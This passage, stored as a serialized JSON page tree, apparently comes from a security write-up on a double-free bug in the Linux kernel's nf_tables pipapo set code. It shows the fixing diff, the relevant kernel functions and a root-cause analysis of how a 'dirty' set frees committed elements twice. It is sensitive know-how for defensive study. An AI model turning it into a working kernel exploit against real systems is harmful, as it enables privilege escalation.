*ctx,\n",{"type":23,"tag":141,"props":49280,"children":49281},{"class":143,"line":241},[49282],{"type":23,"tag":141,"props":49283,"children":49284},{"emptyLinePlaceholder":15},[49285],{"type":29,"value":719},{"type":23,"tag":141,"props":49287,"children":49288},{"class":143,"line":262},[49289],{"type":23,"tag":141,"props":49290,"children":49291},{"style":154},[49292],{"type":29,"value":49293}," m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":141,"props":49295,"children":49296},{"class":143,"line":271},[49297],{"type":23,"tag":141,"props":49298,"children":49299},{"emptyLinePlaceholder":15},[49300],{"type":29,"value":719},{"type":23,"tag":141,"props":49302,"children":49303},{"class":143,"line":293},[49304],{"type":23,"tag":141,"props":49305,"children":49306},{"style":154},[49307],{"type":29,"value":49308}," if (m) {\n",{"type":23,"tag":141,"props":49310,"children":49311},{"class":143,"line":801},[49312],{"type":23,"tag":141,"props":49313,"children":49314},{"style":154},[49315],{"type":29,"value":49316}," rcu_barrier();\n",{"type":23,"tag":141,"props":49318,"children":49319},{"class":143,"line":810},[49320],{"type":23,"tag":141,"props":49321,"children":49322},{"style":154},[49323],{"type":29,"value":49324}," \n",{"type":23,"tag":141,"props":49326,"children":49327},{"class":143,"line":824},[49328],{"type":23,"tag":141,"props":49329,"children":49330},{"style":828},[49331],{"type":29,"value":49332},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":141,"props":49334,"children":49335},{"class":143,"line":839},[49336],{"type":23,"tag":141,"props":49337,"children":49338},{"style":828},[49339],{"type":29,"value":49340},"-\n",{"type":23,"tag":141,"props":49342,"children":49343},{"class":143,"line":848},[49344],{"type":23,"tag":141,"props":49345,"children":49346},{"style":154},[49347],{"type":29,"value":49348}," for_each_possible_cpu(cpu)\n",{"type":23,"tag":141,"props":49350,"children":49351},{"class":143,"line":2304},[49352],{"type":23,"tag":141,"props":49353,"children":49354},{"style":154},[49355],{"type":29,"value":49356}," pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":141,"props":49358,"children":49359},{"class":143,"line":2313},[49360],{"type":23,"tag":141,"props":49361,"children":49362},{"style":154},[49363],{"type":29,"value":49364}," free_percpu(m->scratch);\n",{"type":23,"tag":141,"props":49366,"children":49367},{"class":143,"line":2335},[49368],{"type":23,"tag":141,"props":49369,"children":49370},{"style":154},[49371],{"type":29,"value":49372},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":141,"props":49374,"children":49375},{"class":143,"line":2343},[49376],{"type":23,"tag":141,"props":49377,"children":49378},{"style":154},[49379],{"type":29,"value":49380}," if (priv->clone) {\n",{"type":23,"tag":141,"props":49382,"children":49383},{"class":143,"line":2352},[49384],{"type":23,"tag":141,"props":49385,"children":49386},{"style":154},[49387],{"type":29,"value":49388}," m = priv->clone;\n",{"type":23,"tag":141,"props":49390,"children":49391},{"class":143,"line":2421},[49392],{"type":23,"tag":141,"props":49393,"children":49394},{"style":154},[49395],{"type":29,"value":49324},{"type":23,"tag":141,"props":49397,"children":49398},{"class":143,"line":2429},[49399],{"type":23,"tag":141,"props":49400,"children":49401},{"style":828},[49402],{"type":29,"value":49403},"- if (priv->dirty)\n",{"type":23,"tag":141,"props":49405,"children":49406},{"class":143,"line":2459},[49407],{"type":23,"tag":141,"props":49408,"children":49409},{"style":828},[49410],{"type":29,"value":49411},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":141,"props":49413,"children":49414},{"class":143,"line":2467},[49415],{"type":23,"tag":141,"props":49416,"children":49417},{"style":472},[49418],{"type":29,"value":49419},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":141,"props":49421,"children":49422},{"class":143,"line":2499},[49423],{"type":23,"tag":141,"props":49424,"children":49425},{"style":154},[49426],{"type":29,"value":49324},{"type":23,"tag":141,"props":49428,"children":49429},{"class":143,"line":2507},[49430],{"type":23,"tag":141,"props":49431,"children":49432},{"style":154},[49433],{"type":29,"value":49348},{"type":23,"tag":141,"props":49435,"children":49436},{"class":143,"line":2567},[49437],{"type":23,"tag":141,"props":49438,"children":49439},{"style":154},[49440],{"type":29,"value":49441}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":32,"props":49443,"children":49444},{},[49445,49447,49453,49454,49460,49462,49468,49470,49476,49478,49483,49485,49491,49493,49499,49501,49507],{"type":29,"value":49446},"If the ",{"type":23,"tag":38,"props":49448,"children":49450},{"className":49449},[],[49451],{"type":29,"value":49452},"priv->dirty",{"type":29,"value":313},{"type":23,"tag":38,"props":49455,"children":49457},{"className":49456},[],[49458],{"type":29,"value":49459},"priv->clone",{"type":29,"value":49461}," variables are set, ",{"type":23,"tag":38,"props":49463,"children":49465},{"className":49464},[],[49466],{"type":29,"value":49467},"nft_set_pipapo_match_destroy()",{"type":29,"value":49469}," is called twice, once with ",{"type":23,"tag":38,"props":49471,"children":49473},{"className":49472},[],[49474],{"type":29,"value":49475},"priv->match",{"type":29,"value":49477}," as an argument, and then again with ",{"type":23,"tag":38,"props":49479,"children":49481},{"className":49480},[],[49482],{"type":29,"value":49459},{"type":29,"value":49484},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":38,"props":49486,"children":49488},{"className":49487},[],[49489],{"type":29,"value":49490},"setelem",{"type":29,"value":49492},"s of the ",{"type":23,"tag":38,"props":49494,"children":49496},{"className":49495},[],[49497],{"type":29,"value":49498},"set",{"type":29,"value":49500}," and calling ",{"type":23,"tag":38,"props":49502,"children":49504},{"className":49503},[],[49505],{"type":29,"value":49506},"nf_tables_set_elem_destroy()",{"type":29,"value":49508}," for each of them.",{"type":23,"tag":131,"props":49510,"children":49512},{"className":15191,"code":49511,"language":1807,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[49513],{"type":23,"tag":38,"props":49514,"children":49515},{"__ignoreMap":7},[49516,49563,49591,49617,49624,49645,49658,49665,49762,49770,49777,49832,49853,49860,49963,49975,49982,50018,50025,50059,50066],{"type":23,"tag":141,"props":49517,"children":49518},{"class":143,"line":144},[49519,49524,49529,49534,49538,49542,49546,49551,49555,49559],{"type":23,"tag":141,"props":49520,"children":49521},{"style":449},[49522],{"type":29,"value":49523},"static",{"type":23,"tag":141,"props":49525,"children":49526},{"style":449},[49527],{"type":29,"value":49528}," void",{"type":23,"tag":141,"props":49530,"children":49531},{"style":184},[49532],{"type":29,"value":49533}," nft_set_pipapo_match_destroy",{"type":23,"tag":141,"props":49535,"children":49536},{"style":154},[49537],{"type":29,"value":192},{"type":23,"tag":141,"props":49539,"children":49540},{"style":449},[49541],{"type":29,"value":8334},{"type":23,"tag":141,"props":49543,"children":49544},{"style":449},[49545],{"type":29,"value":19823},{"type":23,"tag":141,"props":49547,"children":49548},{"style":154},[49549],{"type":29,"value":49550}," nft_ctx ",{"type":23,"tag":141,"props":49552,"children":49553},{"style":160},[49554],{"type":29,"value":197},{"type":23,"tag":141,"props":49556,"children":49557},{"style":750},[49558],{"type":29,"value":18952},{"type":23,"tag":141,"props":49560,"children":49561},{"style":154},[49562],{"type":29,"value":2168},{"type":23,"tag":141,"props":49564,"children":49565},{"class":143,"line":180},[49566,49570,49574,49579,49583,49587],{"type":23,"tag":141,"props":49567,"children":49568},{"style":449},[49569],{"type":29,"value":30015},{"type":23,"tag":141,"props":49571,"children":49572},{"style":449},[49573],{"type":29,"value":19823},{"type":23,"tag":141,"props":49575,"children":49576},{"style":154},[49577],{"type":29,"value":49578}," nft_set ",{"type":23,"tag":141,"props":49580,"children":49581},{"style":160},[49582],{"type":29,"value":197},{"type":23,"tag":141,"props":49584,"children":49585},{"style":750},[49586],{"type":29,"value":49498},{"type":23,"tag":141,"props":49588,"children":49589},{"style":154},[49590],{"type":29,"value":2168},{"type":23,"tag":141,"props":49592,"children":49593},{"class":143,"line":205},[49594,49599,49604,49608,49613],{"type":23,"tag":141,"props":49595,"children":49596},{"style":449},[49597],{"type":29,"value":49598}," struct",{"type":23,"tag":141,"props":49600,"children":49601},{"style":154},[49602],{"type":29,"value":49603}," nft_pipapo_match ",{"type":23,"tag":141,"props":49605,"children":49606},{"style":160},[49607],{"type":29,"value":197},{"type":23,"tag":141,"props":49609,"children":49610},{"style":750},[49611],{"type":29,"value":49612},"m",{"type":23,"tag":141,"props":49614,"children":49615},{"style":154},[49616],{"type":29,"value":758},{"type":23,"tag":141,"props":49618,"children":49619},{"class":143,"line":218},[49620],{"type":23,"tag":141,"props":49621,"children":49622},{"style":154},[49623],{"type":29,"value":766},{"type":23,"tag":141,"props":49625,"children":49626},{"class":143,"line":227},[49627,49631,49636,49640],{"type":23,"tag":141,"props":49628,"children":49629},{"style":449},[49630],{"type":29,"value":19823},{"type":23,"tag":141,"props":49632,"children":49633},{"style":154},[49634],{"type":29,"value":49635}," nft_pipapo_field ",{"type":23,"tag":141,"props":49637,"children":49638},{"style":160},[49639],{"type":29,"value":197},{"type":23,"tag":141,"props":49641,"children":49642},{"style":154},[49643],{"type":29,"value":49644},"f;\n",{"type":23,"tag":141,"props":49646,"children":49647},{"class":143,"line":241},[49648,49653],{"type":23,"tag":141,"props":49649,"children":49650},{"style":449},[49651],{"type":29,"value":49652}," int",{"type":23,"tag":141,"props":49654,"children":49655},{"style":154},[49656],{"type":29,"value":49657}," i, r;\n",{"type":23,"tag":141,"props":49659,"children":49660},{"class":143,"line":262},[49661],{"type":23,"tag":141,"props":49662,"children":49663},{"emptyLinePlaceholder":15},[49664],{"type":29,"value":719},{"type":23,"tag":141,"props":49666,"children":49667},{"class":143,"line":271},[49668,49673,49678,49682,49686,49691,49695,49700,49704,49708,49713,49717,49721,49725,49730,49735,49739,49744,49749,49754,49758],{"type":23,"tag":141,"props":49669,"children":49670},{"style":148},[49671],{"type":29,"value":49672}," for",{"type":23,"tag":141,"props":49674,"children":49675},{"style":154},[49676],{"type":29,"value":49677}," (i ",{"type":23,"tag":141,"props":49679,"children":49680},{"style":160},[49681],{"type":29,"value":1377},{"type":23,"tag":141,"props":49683,"children":49684},{"style":472},[49685],{"type":29,"value":1707},{"type":23,"tag":141,"props":49687,"children":49688},{"style":154},[49689],{"type":29,"value":49690},", f ",{"type":23,"tag":141,"props":49692,"children":49693},{"style":160},[49694],{"type":29,"value":1377},{"type":23,"tag":141,"props":49696,"children":49697},{"style":750},[49698],{"type":29,"value":49699}," m",{"type":23,"tag":141,"props":49701,"children":49702},{"style":154},[49703],{"type":29,"value":12435},{"type":23,"tag":141,"props":49705,"children":49706},{"style":750},[49707],{"type":29,"value":31554},{"type":23,"tag":141,"props":49709,"children":49710},{"style":154},[49711],{"type":29,"value":49712},"; i ",{"type":23,"tag":141,"props":49714,"children":49715},{"style":160},[49716],{"type":29,"value":4480},{"type":23,"tag":141,"props":49718,"children":49719},{"style":750},[49720],{"type":29,"value":49699},{"type":23,"tag":141,"props":49722,"children":49723},{"style":154},[49724],{"type":29,"value":12435},{"type":23,"tag":141,"props":49726,"children":49727},{"style":750},[49728],{"type":29,"value":49729},"field_count",{"type":23,"tag":141,"props":49731,"children":49732},{"style":160},[49733],{"type":29,"value":49734}," -",{"type":23,"tag":141,"props":49736,"children":49737},{"style":472},[49738],{"type":29,"value":3198},{"type":23,"tag":141,"props":49740,"children":49741},{"style":154},[49742],{"type":29,"value":49743},"; i",{"type":23,"tag":141,"props":49745,"children":49746},{"style":160},[49747],{"type":29,"value":49748},"++",{"type":23,"tag":141,"props":49750,"children":49751},{"style":154},[49752],{"type":29,"value":49753},", f",{"type":23,"tag":141,"props":49755,"children":49756},{"style":160},[49757],{"type":29,"value":49748},{"type":23,"tag":141,"props":49759,"children":49760},{"style":154},[49761],{"type":29,"value":758},{"type":23,"tag":141,"props":49763,"children":49764},{"class":143,"line":293},[49765],{"type":23,"tag":141,"props":49766,"children":49767},{"style":154},[49768],{"type":29,"value":49769}," ;\n",{"type":23,"tag":141,"props":49771,"children":49772},{"class":143,"line":801},[49773],{"type":23,"tag":141,"props":49774,"children":49775},{"emptyLinePlaceholder":15},[49776],{"type":29,"value":719},{"type":23,"tag":141,"props":49778,"children":49779},{"class":143,"line":810},[49780,49784,49789,49793,49797,49802,49806,49810,49814,49819,49824,49828],{"type":23,"tag":141,"props":49781,"children":49782},{"style":148},[49783],{"type":29,"value":49672},{"type":23,"tag":141,"props":49785,"children":49786},{"style":154},[49787],{"type":29,"value":49788}," (r ",{"type":23,"tag":141,"props":49790,"children":49791},{"style":160},[49792],{"type":29,"value":1377},{"type":23,"tag":141,"props":49794,"children":49795},{"style":472},[49796],{"type":29,"value":1707},{"type":23,"tag":141,"props":49798,"children":49799},{"style":154},[49800],{"type":29,"value":49801},"; r ",{"type":23,"tag":141,"props":49803,"children":49804},{"style":160},[49805],{"type":29,"value":4480},{"type":23,"tag":141,"props":49807,"children":49808},{"style":750},[49809],{"type":29,"value":31440},{"type":23,"tag":141,"props":49811,"children":49812},{"style":154},[49813],{"type":29,"value":12435},{"type":23,"tag":141,"props":49815,"children":49816},{"style":750},[49817],{"type":29,"value":49818},"rules",{"type":23,"tag":141,"props":49820,"children":49821},{"style":154},[49822],{"type":29,"value":49823},"; r",{"type":23,"tag":141,"props":49825,"children":49826},{"style":160},[49827],{"type":29,"value":49748},{"type":23,"tag":141,"props":49829,"children":49830},{"style":154},[49831],{"type":29,"value":13480},{"type":23,"tag":141,"props":49833,"children":49834},{"class":143,"line":824},[49835,49839,49844,49848],{"type":23,"tag":141,"props":49836,"children":49837},{"style":449},[49838],{"type":29,"value":4470},{"type":23,"tag":141,"props":49840,"children":49841},{"style":154},[49842],{"type":29,"value":49843}," nft_pipapo_elem ",{"type":23,"tag":141,"props":49845,"children":49846},{"style":160},[49847],{"type":29,"value":197},{"type":23,"tag":141,"props":49849,"children":49850},{"style":154},[49851],{"type":29,"value":49852},"e;\n",{"type":23,"tag":141,"props":49854,"children":49855},{"class":143,"line":839},[49856],{"type":23,"tag":141,"props":49857,"children":49858},{"emptyLinePlaceholder":15},[49859],{"type":29,"value":719},{"type":23,"tag":141,"props":49861,"children":49862},{"class":143,"line":848},[49863,49867,49871,49875,49879,49883,49887,49891,49895,49899,49903,49907,49912,49917,49921,49925,49929,49934,49938,49942,49946,49950,49955,49959],{"type":23,"tag":141,"props":49864,"children":49865},{"style":148},[49866],{"type":29,"value":29862},{"type":23,"tag":141,"props":49868,"children":49869},{"style":154},[49870],{"type":29,"value":49788},{"type":23,"tag":141,"props":49872,"children":49873},{"style":160},[49874],{"type":29,"value":4480},{"type":23,"tag":141,"props":49876,"children":49877},{"style":750},[49878],{"type":29,"value":31440},{"type":23,"tag":141,"props":49880,"children":49881},{"style":154},[49882],{"type":29,"value":12435},{"type":23,"tag":141,"props":49884,"children":49885},{"style":750},[49886],{"type":29,"value":49818},{"type":23,"tag":141,"props":49888,"children":49889},{"style":160},[49890],{"type":29,"value":49734},{"type":23,"tag":141,"props":49892,"children":49893},{"style":472},[49894],{"type":29,"value":3198},{"type":23,"tag":141,"props":49896,"children":49897},{"style":160},[49898],{"type":29,"value":1253},{"type":23,"tag":141,"props":49900,"children":49901},{"style":750},[49902],{"type":29,"value":31440},{"type":23,"tag":141,"props":49904,"children":49905},{"style":154},[49906],{"type":29,"value":12435},{"type":23,"tag":141,"props":49908,"children":49909},{"style":750},[49910],{"type":29,"value":49911},"mt",{"type":23,"tag":141,"props":49913,"children":49914},{"style":154},[49915],{"type":29,"value":49916},"[r ",{"type":23,"tag":141,"props":49918,"children":49919},{"style":160},[49920],{"type":29,"value":3058},{"type":23,"tag":141,"props":49922,"children":49923},{"style":472},[49924],{"type":29,"value":3198},{"type":23,"tag":141,"props":49926,"children":49927},{"style":154},[49928],{"type":29,"value":48827},{"type":23,"tag":141,"props":49930,"children":49931},{"style":750},[49932],{"type":29,"value":49933},"e",{"type":23,"tag":141,"props":49935,"children":49936},{"style":160},[49937],{"type":29,"value":1942},{"type":23,"tag":141,"props":49939,"children":49940},{"style":750},[49941],{"type":29,"value":31440},{"type":23,"tag":141,"props":49943,"children":49944},{"style":154},[49945],{"type":29,"value":12435},{"type":23,"tag":141,"props":49947,"children":49948},{"style":750},[49949],{"type":29,"value":49911},{"type":23,"tag":141,"props":49951,"children":49952},{"style":154},[49953],{"type":29,"value":49954},"[r].",{"type":23,"tag":141,"props":49956,"children":49957},{"style":750},[49958],{"type":29,"value":49933},{"type":23,"tag":141,"props":49960,"children":49961},{"style":154},[49962],{"type":29,"value":758},{"type":23,"tag":141,"props":49964,"children":49965},{"class":143,"line":2304},[49966,49971],{"type":23,"tag":141,"props":49967,"children":49968},{"style":148},[49969],{"type":29,"value":49970}," continue",{"type":23,"tag":141,"props":49972,"children":49973},{"style":154},[49974],{"type":29,"value":1684},{"type":23,"tag":141,"props":49976,"children":49977},{"class":143,"line":2313},[49978],{"type":23,"tag":141,"props":49979,"children":49980},{"emptyLinePlaceholder":15},[49981],{"type":29,"value":719},{"type":23,"tag":141,"props":49983,"children":49984},{"class":143,"line":2335},[49985,49990,49994,49998,50002,50006,50010,50014],{"type":23,"tag":141,"props":49986,"children":49987},{"style":154},[49988],{"type":29,"value":49989}," e ",{"type":23,"tag":141,"props":49991,"children":49992},{"style":160},[49993],{"type":29,"value":1377},{"type":23,"tag":141,"props":49995,"children":49996},{"style":750},[49997],{"type":29,"value":31440},{"type":23,"tag":141,"props":49999,"children":50000},{"style":154},[50001],{"type":29,"value":12435},{"type":23,"tag":141,"props":50003,"children":50004},{"style":750},[50005],{"type":29,"value":49911},{"type":23,"tag":141,"props":50007,"children":50008},{"style":154},[50009],{"type":29,"value":49954},{"type":23,"tag":141,"props":50011,"children":50012},{"style":750},[50013],{"type":29,"value":49933},{"type":23,"tag":141,"props":50015,"children":50016},{"style":154},[50017],{"type":29,"value":1684},{"type":23,"tag":141,"props":50019,"children":50020},{"class":143,"line":2343},[50021],{"type":23,"tag":141,"props":50022,"children":50023},{"emptyLinePlaceholder":15},[50024],{"type":29,"value":719},{"type":23,"tag":141,"props":50026,"children":50027},{"class":143,"line":2352},[50028,50033,50038,50042,50046,50050,50055],{"type":23,"tag":141,"props":50029,"children":50030},{"style":184},[50031],{"type":29,"value":50032}," nf_tables_set_elem_destroy",{"type":23,"tag":141,"props":50034,"children":50035},{"style":154},[50036],{"type":29,"value":50037},"(ctx, set, ",{"type":23,"tag":141,"props":50039,"children":50040},{"style":160},[50041],{"type":29,"value":1770},{"type":23,"tag":141,"props":50043,"children":50044},{"style":750},[50045],{"type":29,"value":49933},{"type":23,"tag":141,"props":50047,"children":50048},{"style":154},[50049],{"type":29,"value":12435},{"type":23,"tag":141,"props":50051,"children":50052},{"style":750},[50053],{"type":29,"value":50054},"priv",{"type":23,"tag":141,"props":50056,"children":50057},{"style":154},[50058],{"type":29,"value":2496},{"type":23,"tag":141,"props":50060,"children":50061},{"class":143,"line":2421},[50062],{"type":23,"tag":141,"props":50063,"children":50064},{"style":154},[50065],{"type":29,"value":8274},{"type":23,"tag":141,"props":50067,"children":50068},{"class":143,"line":2429},[50069],{"type":23,"tag":141,"props":50070,"children":50071},{"style":154},[50072],{"type":29,"value":2573},{"type":23,"tag":32,"props":50074,"children":50075},{},[50076,50078,50084,50086,50091],{"type":29,"value":50077},"Which will then ",{"type":23,"tag":38,"props":50079,"children":50081},{"className":50080},[],[50082],{"type":29,"value":50083},"kfree()",{"type":29,"value":50085}," the ",{"type":23,"tag":38,"props":50087,"children":50089},{"className":50088},[],[50090],{"type":29,"value":49490},{"type":29,"value":322},{"type":23,"tag":131,"props":50093,"children":50095},{"className":15191,"code":50094,"language":1807,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[50096],{"type":23,"tag":38,"props":50097,"children":50098},{"__ignoreMap":7},[50099,50140,50168,50197,50204,50239,50246,50267,50290,50297,50310],{"type":23,"tag":141,"props":50100,"children":50101},{"class":143,"line":144},[50102,50107,50112,50116,50120,50124,50128,50132,50136],{"type":23,"tag":141,"props":50103,"children":50104},{"style":449},[50105],{"type":29,"value":50106},"void",{"type":23,"tag":141,"props":50108,"children":50109},{"style":184},[50110],{"type":29,"value":50111}," nf_tables_set_elem_destroy",{"type":23,"tag":141,"props":50113,"children":50114},{"style":154},[50115],{"type":29,"value":192},{"type":23,"tag":141,"props":50117,"children":50118},{"style":449},[50119],{"type":29,"value":8334},{"type":23,"tag":141,"props":50121,"children":50122},{"style":449},[50123],{"type":29,"value":19823},{"type":23,"tag":141,"props":50125,"children":50126},{"style":154},[50127],{"type":29,"value":49550},{"type":23,"tag":141,"props":50129,"children":50130},{"style":160},[50131],{"type":29,"value":197},{"type":23,"tag":141,"props":50133,"children":50134},{"style":750},[50135],{"type":29,"value":18952},{"type":23,"tag":141,"props":50137,"children":50138},{"style":154},[50139],{"type":29,"value":2168},{"type":23,"tag":141,"props":50141,"children":50142},{"class":143,"line":180},[50143,50148,50152,50156,50160,50164],{"type":23,"tag":141,"props":50144,"children":50145},{"style":449},[50146],{"type":29,"value":50147}," const",{"type":23,"tag":141,"props":50149,"children":50150},{"style":449},[50151],{"type":29,"value":19823},{"type":23,"tag":141,"props":50153,"children":50154},{"style":154},[50155],{"type":29,"value":49578},{"type":23,"tag":141,"props":50157,"children":50158},{"style":160},[50159],{"type":29,"value":197},{"type":23,"tag":141,"props":50161,"children":50162},{"style":750},[50163],{"type":29,"value":49498},{"type":23,"tag":141,"props":50165,"children":50166},{"style":154},[50167],{"type":29,"value":2168},{"type":23,"tag":141,"props":50169,"children":50170},{"class":143,"line":205},[50171,50175,50179,50184,50188,50193],{"type":23,"tag":141,"props":50172,"children":50173},{"style":449},[50174],{"type":29,"value":50147},{"type":23,"tag":141,"props":50176,"children":50177},{"style":449},[50178],{"type":29,"value":19823},{"type":23,"tag":141,"props":50180,"children":50181},{"style":154},[50182],{"type":29,"value":50183}," nft_elem_priv ",{"type":23,"tag":141,"props":50185,"children":50186},{"style":160},[50187],{"type":29,"value":197},{"type":23,"tag":141,"props":50189,"children":50190},{"style":750},[50191],{"type":29,"value":50192},"elem_priv",{"type":23,"tag":141,"props":50194,"children":50195},{"style":154},[50196],{"type":29,"value":758},{"type":23,"tag":141,"props":50198,"children":50199},{"class":143,"line":218},[50200],{"type":23,"tag":141,"props":50201,"children":50202},{"style":154},[50203],{"type":29,"value":766},{"type":23,"tag":141,"props":50205,"children":50206},{"class":143,"line":227},[50207,50211,50216,50220,50225,50229,50234],{"type":23,"tag":141,"props":50208,"children":50209},{"style":449},[50210],{"type":29,"value":19823},{"type":23,"tag":141,"props":50212,"children":50213},{"style":154},[50214],{"type":29,"value":50215}," nft_set_ext ",{"type":23,"tag":141,"props":50217,"children":50218},{"style":160},[50219],{"type":29,"value":197},{"type":23,"tag":141,"props":50221,"children":50222},{"style":154},[50223],{"type":29,"value":50224},"ext ",{"type":23,"tag":141,"props":50226,"children":50227},{"style":160},[50228],{"type":29,"value":1377},{"type":23,"tag":141,"props":50230,"children":50231},{"style":184},[50232],{"type":29,"value":50233}," nft_set_elem_ext",{"type":23,"tag":141,"props":50235,"children":50236},{"style":154},[50237],{"type":29,"value":50238},"(set, elem_priv);\n",{"type":23,"tag":141,"props":50240,"children":50241},{"class":143,"line":241},[50242],{"type":23,"tag":141,"props":50243,"children":50244},{"emptyLinePlaceholder":15},[50245],{"type":29,"value":719},{"type":23,"tag":141,"props":50247,"children":50248},{"class":143,"line":262},[50249,50253,50257,50262],{"type":23,"tag":141,"props":50250,"children":50251},{"style":148},[50252],{"type":29,"value":14464},{"type":23,"tag":141,"props":50254,"children":50255},{"style":154},[50256],{"type":29,"value":1220},{"type":23,"tag":141,"props":50258,"children":50259},{"style":184},[50260],{"type":29,"value":50261},"nft_set_ext_exists",{"type":23,"tag":141,"props":50263,"children":50264},{"style":154},[50265],{"type":29,"value":50266},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":141,"props":50268,"children":50269},{"class":143,"line":271},[50270,50275,50280,50285],{"type":23,"tag":141,"props":50271,"children":50272},{"style":184},[50273],{"type":29,"value":50274}," nft_set_elem_expr_destroy",{"type":23,"tag":141,"props":50276,"children":50277},{"style":154},[50278],{"type":29,"value":50279},"(ctx, ",{"type":23,"tag":141,"props":50281,"children":50282},{"style":184},[50283],{"type":29,"value":50284},"nft_set_ext_expr",{"type":23,"tag":141,"props":50286,"children":50287},{"style":154},[50288],{"type":29,"value":50289},"(ext));\n",{"type":23,"tag":141,"props":50291,"children":50292},{"class":143,"line":293},[50293],{"type":23,"tag":141,"props":50294,"children":50295},{"emptyLinePlaceholder":15},[50296],{"type":29,"value":719},{"type":23,"tag":141,"props":50298,"children":50299},{"class":143,"line":801},[50300,50305],{"type":23,"tag":141,"props":50301,"children":50302},{"style":184},[50303],{"type":29,"value":50304}," kfree",{"type":23,"tag":141,"props":50306,"children":50307},{"style":154},[50308],{"type":29,"value":50309},"(elem_priv);\n",{"type":23,"tag":141,"props":50311,"children":50312},{"class":143,"line":810},[50313],{"type":23,"tag":141,"props":50314,"children":50315},{"style":154},[50316],{"type":29,"value":2573},{"type":23,"tag":32,"props":50318,"children":50319},{},[50320,50321,50327,50329,50334,50336,50341,50343,50348,50349,50354,50356,50361,50363,50368,50370,50375],{"type":29,"value":388},{"type":23,"tag":38,"props":50322,"children":50324},{"className":50323},[],[50325],{"type":29,"value":50326},"nft_pipapo_match",{"type":29,"value":50328}," objects contain views of the ",{"type":23,"tag":38,"props":50330,"children":50332},{"className":50331},[],[50333],{"type":29,"value":49490},{"type":29,"value":50335},"'s of a ",{"type":23,"tag":38,"props":50337,"children":50339},{"className":50338},[],[50340],{"type":29,"value":49498},{"type":29,"value":50342},". The difference between the ",{"type":23,"tag":38,"props":50344,"children":50346},{"className":50345},[],[50347],{"type":29,"value":49475},{"type":29,"value":313},{"type":23,"tag":38,"props":50350,"children":50352},{"className":50351},[],[50353],{"type":29,"value":49459},{"type":29,"value":50355}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":38,"props":50357,"children":50359},{"className":50358},[],[50360],{"type":29,"value":49490},{"type":29,"value":50362},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":38,"props":50364,"children":50366},{"className":50365},[],[50367],{"type":29,"value":49490},{"type":29,"value":50369},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":38,"props":50371,"children":50373},{"className":50372},[],[50374],{"type":29,"value":49475},{"type":29,"value":322},{"type":23,"tag":8287,"props":50377,"children":50379},{"id":50378},"root-cause-analysis",[50380],{"type":29,"value":50381},"Root-cause analysis",{"type":23,"tag":32,"props":50383,"children":50384},{},[50385,50387,50393,50395,50400],{"type":29,"value":50386},"So ",{"type":23,"tag":38,"props":50388,"children":50390},{"className":50389},[],[50391],{"type":29,"value":50392},"nf_tables_set_elem_destroy",{"type":29,"value":50394}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":38,"props":50396,"children":50398},{"className":50397},[],[50399],{"type":29,"value":49490},{"type":29,"value":50401},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":32,"props":50403,"children":50404},{},[50405,50407,50412,50414,50419,50421,50426,50428,50433,50435,50440],{"type":29,"value":50406},"We should now try to understand how to reach that path with the ",{"type":23,"tag":38,"props":50408,"children":50410},{"className":50409},[],[50411],{"type":29,"value":49452},{"type":29,"value":50413}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":38,"props":50415,"children":50417},{"className":50416},[],[50418],{"type":29,"value":49490},{"type":29,"value":50420}," that becomes true whenever a change is made to the ",{"type":23,"tag":38,"props":50422,"children":50424},{"className":50423},[],[50425],{"type":29,"value":49498},{"type":29,"value":50427}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":38,"props":50429,"children":50431},{"className":50430},[],[50432],{"type":29,"value":49498},{"type":29,"value":50434}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":38,"props":50436,"children":50438},{"className":50437},[],[50439],{"type":29,"value":49498},{"type":29,"value":50441}," dirty by inserting a new element.",{"type":23,"tag":131,"props":50443,"children":50445},{"className":15191,"code":50444,"language":1807,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = 